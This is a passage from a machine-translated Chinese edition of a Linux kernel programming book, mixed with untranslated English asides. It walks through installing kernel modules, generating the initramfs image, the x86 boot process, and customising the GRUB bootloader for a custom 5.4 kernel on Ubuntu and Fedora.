分钟。`time(1)`实用程序为我们提供了一个(非常)粗粒度的想法,即跟随它的命令所花费的时间。 - -If you'd like accurate CPU profiling, learn to use the powerful `perf(1)` utility. Here, you can try it out with the `perf stat make -j4` command. I suggest you try this out on a distro kernel as otherwise, `perf` itself will have to be manually built for your custom kernel. - -同样,在前面的输出中,`Kernel: arch/x86/boot/bzImage is ready (#1)`、`#1`暗示这是这个内核的第一次构建。这个数字会在后续的构建中自动递增,并在你启动到新内核并执行`uname -a`时显示出来。 - -As we're doing a parallelized build (via `make -j4`, implying four processes performing the build in parallel), all the build processes still write to the same `stdout` location – the terminal window. Hence, it can happen that the output is out of order or mixed up. - -构建应该干净地运行,没有任何错误或警告。嗯,有时会看到编译器警告,但我们会愉快地忽略它们。如果在此步骤中遇到编译器错误,从而导致构建失败,该怎么办?我们该如何礼貌地表达呢?哦,我们不能——这很可能是你的错,而不是内核社区的错。请检查并重新检查每一步,如果所有其他步骤都失败,请使用`make mrproper`命令从头开始重做!通常,构建内核的失败意味着内核配置错误(随机选择的可能冲突的配置)、工具链的过时版本或不正确的补丁等等。 - -假设它进行得很顺利,实际上也应该如此,当这个步骤终止时,kbuild 系统已经生成了三个关键文件(在许多文件中)。 - -在内核源代码树的根中,我们有以下内容: - -* 未压缩的内核镜像文件`vmlinux`(仅用于调试) -* 符号-地址映射文件,`System.map` -* 压缩的可启动内核镜像文件`bzImage`(见以下输出) - -我们去看看吧!我们通过将`-h`选项传递给`ls(1)`,使输出(特别是文件大小)更具可读性: - -```sh -$ ls -lh vmlinux System.map --rw-rw-r-- 1 llkd llkd 4.1M Jan 17 12:27 System.map --rwxrwxr-x 1 llkd llkd 591M Jan 17 12:27 vmlinux -$ file ./vmlinux -./vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=<...>, with debug_info, not stripped -``` - -如你所见,`vmlinux`文件相当大。这是因为它包含所有内核符号以及编码到其中的额外调试信息。(仅供参考,`vmlinux`和`System.map`文件用于内核调试上下文;把他们留在身边。)有用的`file(1)`实用程序向我们展示了关于这个图像文件的更多细节。引导加载程序加载并引导到的实际内核映像文件将始终位于`arch//boot/`的通用位置;因此,对于 x86 体系结构,我们有以下内容: - -```sh -$ ls -l arch/x86/boot/bzImage -rw-rw-r-- 1 llkd llkd 8604032 Jan 17 12:27 arch/x86/boot/bzImage$ file arch/x86/boot/bzImage -arch/x86/boot/bzImage: Linux kernel x86 boot executable bzImage, version 5.4.0-llkd01 (llkd@llkd-vbox) #1 SMP Thu [...], RO-rootFS, swap_dev 0x8, Normal VGA -``` - -x86_64 的压缩内核映像版本`5.4.0-llkd01`大小略大于 8 MB。`file(1)`实用程序再次清楚地揭示了它确实是 x86 体系结构的 Linux 内核引导映像。 - -The kernel documents several tweaks and switches that can be performed during the kernel build by setting various environment variables. This documentation can be found within the kernel source tree at `Documentation/kbuild/kbuild.rst`. We shall in fact use the `INSTALL_MOD_PATH`, `ARCH`, and `CROSS_COMPILE` environment variables in the material that follows. - -太好了。我们的内核映像和模块已经准备好了!在我们安装内核模块作为下一步的一部分时,请继续阅读。 - -# 步骤 5–安装内核模块 - -在上一步中,所有标记为`m`的内核配置选项实际上都已经构建好了。正如您将了解到的,这还不够:它们现在必须安装到系统上的已知位置。本节涵盖这些细节。 - -## 在内核源代码中定位内核模块 - -为了查看上一步——内核构建——刚刚生成的内核模块,让我们在内核源文件夹中执行一个快速`find(1)`命令。理解使用的命名约定,内核模块文件名以`.ko`结尾: - -```sh -$ cd ${LLKD_KSRC} -$ find . -name "*.ko" -./arch/x86/events/intel/intel-rapl-perf.ko -./arch/x86/crypto/crc32-pclmul.ko -./arch/x86/crypto/ghash-clmulni-intel.ko -[...] -./net/ipv4/netfilter/ip_tables.ko -./net/sched/sch_fq_codel.ko -$ find . -name "*.ko" | wc -l -59 -``` - -从前面的输出中我们可以看到,在这个特定的构建中,总共有 59 个内核模块被构建(为了简洁起见,实际的`find`输出在前面的块中被截断了)。 - -现在,回想一下我在[第 2 章](02.html)、*中要求您在 make menuconfig UI* 部分的*示例用法中从源代码构建 5.x Linux 内核的练习。在*表 2.4* 中,最后一列指定了我们所做的更改类型。寻找`n -> m`(或`y -> m`)变化,这意味着我们正在将该特定特性配置为内核模块。在那里,我们可以看到这包括以下特征:* - -* VirtualBox 支持,`n -> m` -* **用户空间输入输出** ( **UIO** )司机,`n -> m`;和一个通用 IRQ 处理的 UIO 平台驱动程序`n -> m` -* 微软操作系统文件系统支持,`n -> m` - -由于这些特性被要求作为模块构建,它们不会被编码在`vmlinux`或`bzImage`内核映像文件中。不,它们将作为独立的(嗯,有点像)*内核模块*存在。让我们在内核源代码树中寻找前面特性的内核模块(用一点脚本语言显示它们的路径名和大小): - -```sh -$ find . -name "*.ko" -ls | egrep -i "vbox|msdos|uio" | awk '{printf "%-40s %9d\n", $11, $7}' -./fs/fat/msdos.ko 361896 -./drivers/virt/vboxguest/vboxguest.ko 948752 -./drivers/gpu/drm/vboxvideo/vboxvideo.ko 3279528 -./drivers/uio/uio.ko 408136 -./drivers/uio/uio_pdrv_genirq.ko 324568 -$ -``` - -好的,很好,二进制内核模块确实是在内核源代码树中生成的。但仅此还不够。为什么呢?它们需要被*安装到根文件系统中的一个众所周知的位置,以便在启动时,系统*可以实际找到它们并将它们加载到内核内存中。这就是为什么我们需要*安装*内核模块。“根文件系统中众所周知的位置”是 **`/lib/modules/$(uname -r)/`** ,其中`$(uname -r)`当然产生内核版本号。** - -## 安装内核模块 - -执行内核模块安装很简单;(构建步骤后)只需调用`modules_install` Makefile 目标。让我们这样做: - -```sh -$ cd ${LLKD_KSRC} $ sudo make modules_install [sudo] password for llkd: - INSTALL arch/x86/crypto/aesni-intel.ko - INSTALL arch/x86/crypto/crc32-pclmul.ko - INSTALL arch/x86/crypto/crct10dif-pclmul.ko -[...] - INSTALL sound/pci/snd-intel8x0.ko - INSTALL sound/soundcore.ko - DEPMOD 5.4.0-llkd01 -$ -``` - -请注意,我们使用`sudo(8)`以 root (超级用户)身份执行安装*。这是必需的,因为默认安装位置(在`/lib/modules/`下)只有根可写。一旦内核模块已经准备好并被复制(在前面的输出块中显示为`INSTALL`的工作),kbuild 系统运行一个名为`depmod(8)`的实用程序。它的工作本质上是解决内核模块之间的依赖关系,并将它们(如果存在的话)编码成一些元文件(更多细节请参考`depmod(8)`的手册页:[https://linux.die.net/man/8/depmod](https://linux.die.net/man/8/depmod))。* - -现在让我们看看模块安装步骤的结果: - -```sh -$ uname -r -5.0.0-36-generic # this is the 'distro' kernel (for Ubuntu 18.04.3 LTS) we're running on -$ ls /lib/modules/ -5.0.0-23-generic 5.0.0-36-generic 5.4.0-llkd01 -$ -``` - -在前面的代码中,我们可以看到,对于我们可以引导系统进入的每个(Linux)内核,在`/lib/modules/`下都有一个文件夹,正如预期的那样,它的名字是内核版本。让我们看看感兴趣的文件夹——我们的新内核(`5.4.0-llkd01`)。在那里,在`kernel/`子目录下的不同目录中,有刚刚安装的内核模块: - -```sh -$ ls /lib/modules/5.4.0-llkd01/kernel/ -arch/ crypto/ drivers/ fs/ net/ sound/ -``` - -Incidentally, the `/lib/modules//modules.builtin` file has the list of all installed kernel modules (under `/lib/modules//kernel/`). - -让我们在这里搜索前面提到的内核模块: - -```sh -$ find /lib/modules/5.4.0-llkd01/kernel/ -name "*.ko" | egrep "vboxguest|msdos|uio" -/lib/modules/5.4.0-llkd01/kernel/fs/fat/msdos.ko -/lib/modules/5.4.0-llkd01/kernel/drivers/virt/vboxguest/vboxguest.ko -/lib/modules/5.4.0-llkd01/kernel/drivers/uio/uio.ko -/lib/modules/5.4.0-llkd01/kernel/drivers/uio/uio_pdrv_genirq.ko -$ -``` - -他们都出现了。太棒了! - -最后一个关键点:在内核构建期间,我们可以将内核模块安装到我们*指定的位置,覆盖(默认)`/lib/modules/`位置。这是通过将`INSTALL_MOD_PATH`的环境变量设置到所需位置来完成的;例如,执行以下操作:* - -```sh -export STG_MYKMODS=../staging/rootfs/my_kernel_modules -make INSTALL_MOD_PATH=${STG_MYKMODS} modules_install -``` - -这样,我们就把所有的内核模块都安装到`${STG_MYKMODS}/`文件夹中了。请注意,如果`INSTALL_MOD_PATH`指的是不需要*根*进行书写的位置,那么`sudo`可能是不需要的。 - -This technique – overriding the *kernel modules' install location* – can be especially useful when building a Linux kernel and kernel modules for an embedded target. Clearly, we must definitely *not* overwrite the host system's kernel modules with that of the embedded target's; that could be disastrous! - -下一步是生成所谓的`initramfs`(或`initrd`)映像并设置引导加载程序。我们还需要清楚地了解这个`initramfs`形象到底是什么,以及使用它背后的动机。下一节之后的章节将深入探讨这些细节。 - -# 步骤 6–生成 initramfs 映像和引导加载程序设置 - -首先,请注意,此讨论高度偏向 x86[_64]架构。对于典型的 x86 桌面或服务器内核构建过程,此步骤在内部分为两个不同的部分: - -* 生成`initramfs`(以前称为`initrd`)图像 -* 新内核映像的引导加载程序设置 - -在这里的内核构建过程中,它被封装到单个步骤中的原因是,在 x86 体系结构上,便利脚本执行这两个任务,给出了单个步骤的外观。 - -Wondering what exactly this `initramfs` (or `initrd`) image file is? Please see the following *Understanding the initramfs framework* section for details. We'll get there soon. - -现在,让我们继续生成 **initramfs** (简称**初始 ram 文件系统**)镜像文件,并更新引导加载程序。在 x86[_64] Ubuntu 上执行此操作只需一个简单的步骤: - -```sh -$ sudo make install sh ./arch/x86/boot/install.sh 5.4.0-llkd01 arch/x86/boot/bzImage \ - System.map "/boot" -run-parts: executing /etc/kernel/postinst.d/apt-auto-removal 5.4.0-llkd01 /boot/vmlinuz-5.4.0-llkd01 -run-parts: executing /etc/kernel/postinst.d/initramfs-tools 5.4.0-llkd01 /boot/vmlinuz-5.4.0-llkd01 -update-initramfs: Generating /boot/initrd.img-5.4.0-llkd01 -[...] -run-parts: executing /etc/kernel/postinst.d/zz-update-grub 5.4.0-llkd01 /boot/vmlinuz-5.4.0-llkd01 -Sourcing file `/etc/default/grub' -Generating grub configuration file ... -Found linux image: /boot/vmlinuz-5.4.0-llkd01 -Found initrd image: /boot/initrd.img-5.4.0-llkd01 -[...] -Found linux image: /boot/vmlinuz-5.0.0-36-generic -Found initrd image: /boot/initrd.img-5.0.0-36-generic -[...] -done -$ -``` - -请注意,我们再次在`make install`命令前加上`sudo(8)`。很明显,这是因为我们需要*根*权限来写相关的文件和文件夹。 - -就这样,我们完成了:一个全新的 5.4 内核,以及所有请求的内核模块和`initramfs`映像已经生成,并且(GRUB)引导加载程序已经更新。剩下的就是重新启动系统,在启动时选择新的内核映像(从引导加载程序菜单屏幕),启动,登录,并验证一切正常。 - -## 在 Fedora 30 及更高版本上生成 initramfs 映像 - -不幸的是,在 Fedora 30 和更高版本上,生成`initramfs`图像似乎不像前面部分中的 Ubuntu 那样容易。有些人建议通过`ARCH`环境变量明确指定架构。看一看: - -```sh -$ sudo make ARCH=x86_64 install -sh ./arch/x86/boot/install.sh 5.4.0-llkd01 arch/x86/boot/bzImage \ -System.map "/boot" -Cannot find LILO. -$ -``` - -它失败了!想知道为什么吗?这里就不赘述了,不过这个链接应该能帮到你:[https://discussion . fedoraproject . org/t/installing-manual-build-kernel-in-system-with-grub 2/1895](https://discussion.fedoraproject.org/t/installing-manually-builded-kernel-in-system-with-grub2/1895)。为了帮助纠正这种情况,以下是我在 Fedora 31 VM 上做的事情(是的,它成功了!): - -1. 手动创建`initramfs`图像: - -```sh - sudo mkinitrd /boot/initramfs-5.4.0-llkd01.img 5.4.0-llkd01 -``` - -2. 确保安装`grubby`包装: - -```sh -sudo dnf install grubby-deprecated-8.40-36.fc31.x86_64 -``` - -Pressing the *Tab* key twice after typing `grubby-` results in the full package name being auto-completed. - -3. (重新)运行`make install`命令: - -```sh -$ sudo make ARCH=x86_64 install - sh ./arch/x86/boot/install.sh 5.4.0-llkd01 arch/x86/boot/bzImage \ - System.map "/boot" - grubby fatal error: unable to find a suitable template - grubby fatal error: unable to find a suitable template - grubby: doing this would leave no kernel entries. Not writing out new config. - $ -``` - -虽然`make install`命令似乎失败了,但它已经足够成功了。让我们来看看`/boot`目录的内容来验证这一点: - -```sh - $ ls -lht /boot - total 204M - -rw-------. 1 root root 44M Mar 26 13:08 initramfs-5.4.0-llkd01.img - lrwxrwxrwx. 1 root root 29 Mar 26 13:07 System.map -> /boot/System.map-5.4.0-llkd01 - lrwxrwxrwx. 1 root root 26 Mar 26 13:07 vmlinuz -> /boot/vmlinuz-5.4.0-llkd01 - -rw-r--r--. 1 root root 4.1M Mar 26 13:07 System.map-5.4.0-llkd01 - -rw-r--r--. 1 root root 9.0M Mar 26 13:07 vmlinuz-5.4.0-llkd01 -[...] -``` - -事实上,`initramfs`图像、`System.map`文件和`vmlinuz`(以及所需的符号链接)似乎已经设置好了!重新启动,从 GRUB 菜单中选择新内核,并验证它是否工作。 - -在这一步中,我们生成了`initramfs`图像。问题是,当我们这样做的时候, *kbuild* 系统在引擎盖下做了什么?请继续阅读了解详情。 - -## 生成 initramfs 映像–在引擎盖下 - -回想一下上一节中`sudo make install`命令执行时您将首先看到的内容(为方便起见,复制如下): - -```sh -$ sudo make install sh ./arch/x86/boot/install.sh 5.4.0-llkd01 arch/x86/boot/bzImage \ - System.map "/boot" -``` - -很明显,这是一个正在执行的脚本。在内部,作为其工作的一部分,它将以下文件复制到`/boot`文件夹中,名称格式通常为`-$(uname -r)`: - -```sh -System.map-5.4.0-llkd01, initrd.img-5.4.0-llkd01, vmlinuz-5.4.0-llkd01, config-5.4.0-llkd01 -``` - -也建立了`initramfs`图像。一个名为`update-initramfs`的 Shell 脚本执行这个任务(它本身是另一个名为`mkinitramfs(8)`的脚本的便利包装器,该脚本执行实际工作)。构建完成后,`initramfs`图像也被复制到`/boot`目录中,如前面输出片段中的`initrd.img-5.4.0-llkd01`所示。 - -如果复制到`/boot`的文件已经存在,则备份为`-$(uname -r).old`。名为`vmlinuz-`的文件是`arch/x86/boot/bzImage`文件的副本。换句话说,它是压缩的内核映像——引导加载程序将被配置为加载到内存中、解压缩并跳转到其入口点的映像文件,从而将控制权移交给内核! - -Why the names `vmlinux` (recall, this is the uncompressed kernel image file stored in the root of the kernel source tree) and `vmlinuz`? It's an old Unix convention that the Linux OS is quite happy to follow: on many Unix flavors, the kernel was called `vmunix`, so Linux calls it `vmlinux` and the compressed one `vmlinuz`; the `z` in `vmlinuz` is to hint at the (by default) `gzip(1)` compression. - -此外,位于`/boot/grub/grub.cfg`的 GRUB 引导加载程序配置文件被更新,以反映一个新内核现在可用于引导的事实。 - -同样,值得强调的是,所有这些都是*非常特定于架构的*。前面的讨论是关于在 Ubuntu Linux x86[-64]系统上构建内核的。虽然概念上相似,但内核映像文件名的细节、它们的位置,尤其是引导加载程序,在不同的体系结构上有所不同。 - -如果你愿意的话,你可以跳到*定制 GRUB 引导加载程序*部分*。*如果你好奇(我希望如此),请继续阅读。在下一节中,我们将更详细地描述`initramfs` */* `inird`框架的*如何*和*为什么*。 - -# 理解 initramfs 框架 - -仍然有一点神秘!*这个`initramfs`或者`initrd`形象到底是为了什么?为什么会在那里?* - -首先,使用这个特性是一种选择——配置指令被称为`CONFIG_BLK_DEV_INITRD`。它打开,因此默认设置为`y`。简而言之,对于事先不知道某些事情的系统,例如引导磁盘主机适配器或控制器类型(SCSI、RAID 等),根文件系统被格式化为的确切文件系统类型(是`ext2`、`ext3`、`ext4`、`btrfs`、`reiserfs`、`f2fs`还是另一个?),或者对于那些总是将这些功能构建为内核模块的系统,我们需要`initramfs`功能。到底为什么会在一瞬间变得清晰。此外,如前所述,`initrd`现在被认为是一个更老的术语。如今,我们更多地使用术语`initramfs`来代替它。 - -## 为什么是 initramfs 框架? - -`initramfs`框架本质上是一种介于早期内核引导和用户模式之间的中间人。它允许我们在挂载实际的根文件系统之前运行用户空间应用(或脚本)。这在许多情况下都很有用,下面的列表详细介绍了其中的一些情况。关键是`initramfs`允许我们运行内核在启动时无法正常运行的用户模式应用。 - -实际上,在各种用途中,这个框架允许我们做以下事情: - -* 设置控制台字体。 -* 自定义键盘布局设置。 -* 在控制台设备上打印自定义欢迎消息。 -* 接受密码(对于加密磁盘)。 -* 根据需要加载内核模块。 -* 如果出现故障,生成一个“救援”Shell。 -* 还有更多! - -想象一下,您正在构建和维护一个新的 Linux 发行版。现在,在安装时,您的发行版的最终用户可能会决定用`reiserfs`文件系统格式化他们的 SCSI 磁盘(仅供参考,这是内核中最早的通用日志文件系统)。问题是,您无法提前知道最终用户会做出什么样的选择,它可能是任何数量的文件系统之一。因此,您决定预构建并提供大量的内核模块,这些模块将满足几乎所有的可能性。好的,当安装完成并且用户的系统启动时,在这种情况下,内核将需要`reiserfs.ko`内核模块来成功安装根文件系统,从而继续系统启动。 - -![](img/b48ca480-e208-45e4-b413-e7a0a09dcac5.png) - -Figure 3.1 – The root filesystem's on the disk and yet to be mounted, kernel image is in RAM - -但是等等,想想看,我们现在有一个经典的*先有鸡还是先有蛋的问题*:为了让内核挂载根文件系统,它需要`reiserfs.ko`内核模块文件加载到内存中(因为它包含能够使用文件系统的必要代码)。*但是*,该文件本身嵌入在`reiserfs`根文件系统中;准确地说,在`/lib/modules//kernel/fs/reiserfs/`目录之内!(见图 3.1)。`initramfs`框架的主要目的之一就是解决这个先有鸡还是先有蛋的问题。 - -`initramfs`图像文件是压缩的`cpio`档案(`cpio`是`tar(1)`使用的平面文件格式)。正如我们在上一节看到的那样,`update-initramfs`脚本在内部调用`mkinitramfs`脚本(至少在 Ubuntu 上是这样的)。这些脚本构建了一个最小的根文件系统,包含内核模块以及支持基础设施,例如简单的`cpio`文件格式的`/etc`和`/lib`文件夹,然后通常进行 gzip 压缩。这就形成了所谓的`initramfs`(或`initrd`)图像文件,正如我们之前看到的,它将被放置在`/boot/initrd.img-`中。那有什么帮助呢? - -在启动时,如果我们使用`initramfs`功能,作为其工作的一部分,引导加载程序将把`initramfs`图像文件加载到内存中。接下来,当内核本身在系统上运行时,它检测到一个`initramfs`映像的存在,解压缩它,并使用它的内容(通过脚本),将所需的内核模块加载到内存中(图 3.2): - -![](img/98cb4ded-7d3d-452d-9fb8-f4ddc98309bf.png) - -Figure 3.2 – The initramfs image serves as a middle-man between early kernel and actual root filesystem availability - -关于引导过程(在 x86 上)和 initramfs 映像的更多细节可以在以下部分中找到。 - -## 了解 x86 上引导过程的基本知识 - -在以下列表中,我们简要概述了 x86[_64]台式机(或笔记本电脑)、工作站或服务器上的典型引导过程: - -1. 提前启动、开机自检、BIOS 初始化——基本输入输出系统 *(* 简称**;本质上,x86 上的*固件*将第一个可引导磁盘的第一个扇区加载到内存中,并跳转到其入口点。这就形成了通常所说的*第一阶段*引导加载程序,其主要工作是将*第二阶段(更大)引导加载程序*代码加载到内存中并跳转到内存。** -*** 现在,第二阶段引导加载程序代码开始控制。其主要工作是*将实际的(第三阶段)GRUB 引导加载程序*加载到内存中并跳转到其入口点(GRUB 通常是 x86[-64]系统上使用的引导加载程序)* (GRUB)引导加载程序将被传递压缩的内核映像文件(`/boot/vmlinuz-`)以及压缩的`initramfs`映像文件(`/boot/initrd.img-`)作为参数。引导加载程序将(简单地)执行以下操作:** - - **4. 现在拥有机器控制权的 Linux 内核将初始化硬件和软件环境。它没有假设引导加载程序执行的早期工作。 -5. 完成大部分硬件和软件初始化后,它会注意到`initramfs`功能已打开(`CONFIG_BLK_DEV_INITRD=y`)。因此,它将在内存中定位(如果需要,解压缩)T2(T3)图像(见图 3.2)。 -6. 然后它将把它作为临时根文件系统安装在内存中,在`RAMdisk`内。 -7. 我们现在在内存中建立了一个基本的、最小的根文件系统。因此,`initrd`启动脚本现在运行,执行将所需内核模块加载到内存中的任务(实际上,加载根文件系统驱动程序,在我们的场景中,包括`reiserfs.ko`内核模块;同样,参见图 3.2)。 - -8. 内核然后执行*枢轴根、* *卸载*`initrd`临时根文件系统,释放其内存,并*装载真正的根文件系统;*现在可以了,因为提供文件系统支持的内核模块确实可用。 -9. 一旦(实际的)根文件系统成功装载,系统初始化就可以继续了。内核继续,最终调用第一个用户空间进程,通常是`/sbin/init` PID `1`。 -10. *SysV* *init* 框架现在开始初始化系统,按照配置启动系统服务。 - -A couple of things to note: -(a) On modern Linux systems, the traditional (read: old) SysV *init* framework has largely been replaced with a modern optimized framework called **systemd**. Thus, on many (if not most) modern Linux systems, including embedded ones, the traditional `/sbin/init` has been replaced with `systemd` (or is a symbolic link to its executable file). Find out more about *systemd* in the *Further reading* section at the end of this chapter. - -(b) FYI, the generation of the root filesystem itself is not covered in this book; as one simple example, I suggest you look at the code of the SEALS project (at [https://github.com/kaiwan/seals](https://github.com/kaiwan/seals)) that I mentioned in [Chapter 1](01.html), *Kernel Workspace Setup*; it has script that generates a very minimal, or "skeleton", root filesystem from scratch. - -现在您已经理解了`initrd` / `initramfs`背后的动机,我们将在下一节通过对`initramfs`进行更深入的研究来完成这一节。一定要继续读下去! - -## 关于 initramfs 框架的更多信息 - -框架帮助的另一个地方是调出磁盘加密的计算机*。在引导过程的早期,内核必须向用户查询密码,如果正确,就继续挂载磁盘,等等。但是,想想看:我们如何运行一个 C 程序可执行文件,也就是说,在没有 C 运行时环境的情况下请求一个密码——一个包含库、加载程序、所需内核模块(可能用于加密支持)等的根文件系统?* - - *记住,内核*本身*还没有完成初始化;用户空间应用如何运行?同样,`initramfs`框架通过在内存中建立一个包含库、加载器、内核模块等所需根文件系统的临时用户空间运行时环境来解决这个问题。 - -我们能核实一下吗?是的,我们可以!让我们来看一下`initramfs`图像文件。Ubuntu 上的`lsinitramfs(8)`脚本正好服务于这个目的(在 Fedora 上,相当于被称为`lsinitrd`): - -```sh -$ lsinitramfs /boot/initrd.img-5.4.0-llkd01 | wc -l -334 -$ lsinitramfs /boot/initrd.img-5.4.0-llkd01 -. -kernel -kernel/x86 -[...] -lib -lib/systemd -lib/systemd/network -lib/systemd/network/99-default.link -lib/systemd/systemd-udevd -[...] -lib/modules/5.4.0-llkd01/kernel/drivers/net/ethernet/intel/e1000/e1000.ko -lib/modules/5.4.0-llkd01/modules.dep -[...] -lib/x86_64-linux-gnu/libc-2.27.so -[...] -lib/x86_64-linux-gnu/libaudit.so.1 -lib/x86_64-linux-gnu/ld-2.27.so -lib/x86_64-linux-gnu/libpthread.so.0 -[...] -etc/udev/udev.conf -etc/fstab -etc/modprobe.d -[...] -bin/dmesg -bin/date -bin/udevadm -bin/reboot -[...] -sbin/fsck.ext4 -sbin/dmsetup -sbin/blkid -sbin/modprobe -[...] -scripts/local-premount/resume -scripts/local-premount/ntfs_3g -$ -``` - -这里面有相当多的内容:我们截断输出以显示一些精选片段。很明显,我们可以看到一个最小的*根文件系统,支持所需的运行时库、内核模块、`/etc`、`/bin`和`/sbin`目录以及它们的实用程序。* - -*The details of constructing the `initramfs` (or `initrd`) image goes beyond what we wish to cover here. I suggest you peek into these scripts to reveal their inner workings (on Ubuntu): `/usr/sbin/update-initramfs`, a wrapper script over the `/usr/sbin/mkinitramfs` shell script. Do see the *Further reading* section for more. - -此外,现代系统的特点是有时被称为混合的`initramfs`:一个`initramfs`图像,它由一个附加在常规或主`ramfs`图像前面的早期`ramfs`图像组成。现实是,我们需要特殊的工具来解压/打包(解压缩/压缩)这些图像。Ubuntu 分别提供了`unmkinitramfs(8)`和`mkinitramfs(8)`脚本来执行这些操作。 - -作为一个快速的实验,让我们将全新的`initramfs`图像(上一节生成的图像)解压到一个临时目录中。同样,这已经在我们的 Ubuntu 18.04 LTS 来宾虚拟机上执行过了。使用`tree(1)`查看其截断的输出以提高可读性: - -```sh -$ TMPDIR=$(mktemp -d) -$ unmkinitramfs /boot/initrd.img-5.4.0-llkd01 ${TMPDIR} -$ tree ${TMPDIR} | less -/tmp/tmp.T53zY3gR91 -├── early -│ └── kernel -│ └── x86 -│ └── microcode -│ └── AuthenticAMD.bin -└── main - ├── bin - │ ├── [ - │ ├── [[ - │ ├── acpid - │ ├── ash - │ ├── awk -[...] - ├── etc - │ ├── console-setup - │ │ ├── cached_UTF-8_del.kmap.gz -[...] - ├── init - ├── lib -[...] - │ ├── modules - │ │ └── 5.4.0-llkd01 - │ │ ├── kernel - │ │ │ └── drivers -[...] - ├── scripts - │ ├── functions - │ ├── init-bottom -[...] - └── var - └── lib - └── dhcp -$ -``` - -我们的(相当长的!)讨论`initramfs`框架和 x86 上引导过程的基础。好消息是,现在有了这些知识,你可以根据需要通过调整`initramfs`图像来进一步定制你的产品——这是一项重要的技能! - -作为一个例子(如前所述),由于*安全性*是现代系统的一个关键因素,能够在块级别加密磁盘是一个强大的安全功能;这样做非常需要调整`initramfs`图像。(同样,由于这超出了本书的范围,请参考本章末尾的*进一步阅读*部分,以获得关于此方面和其他方面的文章的有用链接。) - -现在,让我们通过对(x86) GRUB 引导加载程序的引导脚本进行一些简单的定制来完成内核构建。 - -# 步骤 7–定制 GRUB 引导加载程序 - -我们现在已经完成了第 1 步到第 6 步*,如第 2 章、*从源代码构建 5.x Linux 内核–第 1 部分*、从源代码构建 *内核的*步骤*部分所述。我们可以重启系统;当然,一定要先关闭你所有的应用和文件。然而,默认情况下,现代的**GRUB**(**GRand Unified****boot loader**)boot loader 甚至不会在重启时向我们显示任何菜单;默认情况下,它将引导到新构建的内核中(请记住,在这里,我们只针对运行 Ubuntu 的 x86[_64]系统描述了这个过程*)。*** - -**On x86[_64] you can always get to the GRUB menu during early system boot. Just ensure you keep the *Shift* key pressed down during boot. - -如果我们希望在每次引导系统时都能看到并自定义 GRUB 菜单,从而允许我们选择一个备用的内核/操作系统进行引导,会怎么样?这在开发过程中通常非常有用,所以让我们来看看如何做到这一点。 - -## 定制 GRUB–基础 - -定制 GRUB 非常容易。请注意以下几点: - -* 以下步骤将在“目标”系统本身上执行(不在主机上);在我们的例子中,是 Ubuntu 18.04 来宾 VM。 -* 这已经在我们的 Ubuntu 18.04 LTS 来宾系统上进行了测试和验证。 - -以下是我们定制的一系列快速步骤: - -1. 为了安全起见,我们保留一份 GRUB 引导加载程序配置文件的备份: - -```sh -sudo cp /etc/default/grub /etc/default/grub.orig - -``` - -The `/etc/default/grub` file is the user-configuration file in question. Before editing it, we make a backup to be safe. This is always a good idea. - -2. 编辑一下。您可以使用`vi(1)`或您选择的编辑器: - -```sh -sudo vi /etc/default/grub -``` - -3. 要在引导时始终显示 GRUB 提示,请插入以下行: - -```sh -GRUB_HIDDEN_TIMEOUT_QUIET=false -``` - -On some Linux distros, you might instead have the `GRUB_TIMEOUT_STYLE=hidden` directive; simply change it to `GRUB_TIMEOUT_STYLE=menu` to achieve the same effect. - -4. 根据需要设置启动默认操作系统的超时时间(秒);默认为`10`秒;请参见以下示例: - -```sh -GRUB_TIMEOUT=3 -``` - -将前面的超时值设置为以下值将产生以下结果: - -* `0`:立即开机,不显示菜单。 -* `-1`:无限期等待。 - -此外,如果存在`GRUB_HIDDEN_TIMEOUT`指令,只需指出: - -```sh -#GRUB_HIDDEN_TIMEOUT=1 -``` - -5. 最后,以*根*的身份运行`update-grub(8)`程序,使您的更改生效: - -```sh -sudo update-grub -``` - -前面的命令通常会导致`initramfs`图像被刷新(重新生成)。完成后,您就可以重新启动系统了。不过,等一下!下一节将向您展示如何修改 GRUB 的配置,使其默认引导到您选择的内核中。 - -## 选择要启动的默认内核 - -GRUB 默认内核被预设为数字零(通过`GRUB_DEFAULT=0`指令)。这将确保“第一个内核”——最近添加的内核——默认启动(超时时)。这可能不是我们想要的;作为一个真实的例子,在我们的 Ubuntu 18.04.3 LTS 来宾 VM 上,我们将它设置为默认的 Ubuntu *发行版内核*,就像前面一样,编辑`/etc/default/grub`文件(当然是作为根文件)如下: - -```sh -GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 5.0.0-36-generic" -``` - -Of course, this implies that if your distro is updated or upgraded, you must again manually change the preceding line to reflect the new distro kernel that you wish to boot into by default, and then run `sudo update-grub`. - -对,我们新编辑的 GRUB 配置文件如下所示: - -```sh -$ cat /etc/default/grub -[...] -#GRUB_DEFAULT=0 -GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 5.0.0-36-generic" -#GRUB_TIMEOUT_STYLE=hidden -GRUB_HIDDEN_TIMEOUT_QUIET=false -GRUB_TIMEOUT=3 -GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` -GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" -GRUB_CMDLINE_LINUX="" -[...] -``` - -与上一节一样,不要忘记:如果您在此处进行了任何更改,请运行`sudo update-grub`命令以使您的更改生效。 - -Additional points to note: -a) In addition, you can add "pretty" tweaks, such as changing the background image (or color) via the `BACKGROUND_IMAGE=""` directive. -b) On Fedora, the GRUB bootloader config file is a bit different; run this command to show the GRUB menu at every boot: -`sudo grub2-editenv - unset menu_auto_hide` The details can be found in the *Fedora wiki: Changes/HiddenGrubMenu*: [https://fedoraproject.org/wiki/Changes/HiddenGrubMenu](https://fedoraproject.org/wiki/Changes/HiddenGrubMenu). -c) Unfortunately, GRUB2 (the latest version is now 2) seems to be implemented differently on pretty much every Linux distro, leading to incompatibilities when trying to tune it in one given manner. - -现在让我们重新启动来宾系统,进入 GRUB 菜单,并启动我们的新内核。 - -全部完成!让我们(终于!)重新启动系统: - -```sh -$ sudo reboot -[sudo] password for llkd: -``` - -一旦系统完成关机过程并重新启动,您应该很快就会看到 GRUB 引导加载程序菜单(下面的部分也显示了几个截图)。一定要按键盘上的任何一个键来打断它! - -Though always possible, I recommend you don't delete the original distro kernel image(s) (and associated `initrd`, `System.map` files, and so on). What if your brand-new kernel fails to boot? (*If it can happen to the Titanic...*) By keeping our original images, we thus have a fallback option: boot from the original distro kernel, fix our issue(s), and retry. - -As a worst-case scenario, what if all other kernels/`initrd` images have been deleted and your single new 